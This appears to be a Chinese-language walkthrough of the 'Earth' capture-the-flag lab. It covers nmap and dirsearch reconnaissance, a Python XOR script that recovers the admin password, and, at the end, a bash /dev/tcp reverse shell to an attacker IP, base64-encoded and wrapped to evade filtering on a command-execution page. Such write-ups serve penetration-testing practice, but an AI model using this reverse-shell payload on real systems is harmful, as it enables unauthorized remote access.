1、找ip和端口
主機是192.168.6.213,因此靶場ip就是192.168.6.34,三個端口開放,我們去訪問一下頁面。
三個端口都無法訪問。
我們使用nmap進行dns解析。
nmap -A -p- -T4 -sV 192.168.6.34
把這兩條解析添加到hosts文件中去,這樣我們才可以訪問頁面。
vim /etc/hosts
2、掃目錄
dirsearch -u https://terratest.earth.local
dirsearch -u https://earth.local
訪問一下admin頁面,有一個登錄框,我們嘗試去找用戶名和密碼。
訪問robots.txt,在robots文件的最后一行發現了一個testingnotes.* 使用了通配符,試一下是不是txt結尾的文件。
翻譯一下可以找到用戶名為terra,testdata.txt用于測試加密,并且還使用了XOR加密,我們主頁的一串亂碼就可能是經過XOR加密的,嘗試去解密一下。
import binasciikey="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
testdata="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."a = binascii.b2a_hex(testdata.encode()).decode()
b = binascii.a2b_hex(hex(int(a,16) ^ int(key,16))[2:]).decode()
print(b)
拿python腳本運行一下,可以發現第三條加密密文解密之后都是重復的earthclimatechangebad4humans。那我們嘗試去登錄一下。
3、漏洞利用
?登錄進去是一個命令執行頁面,查看了一下網站目錄,不具備寫的權限,那就進行反彈shell。
在kali里進行監聽。
bash -i >& /dev/tcp/192.168.13.135/1234 0>&1
進行base64編碼
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzLjEzNS8xMjM0IDA+JjE=
構造
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzLjEzNS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'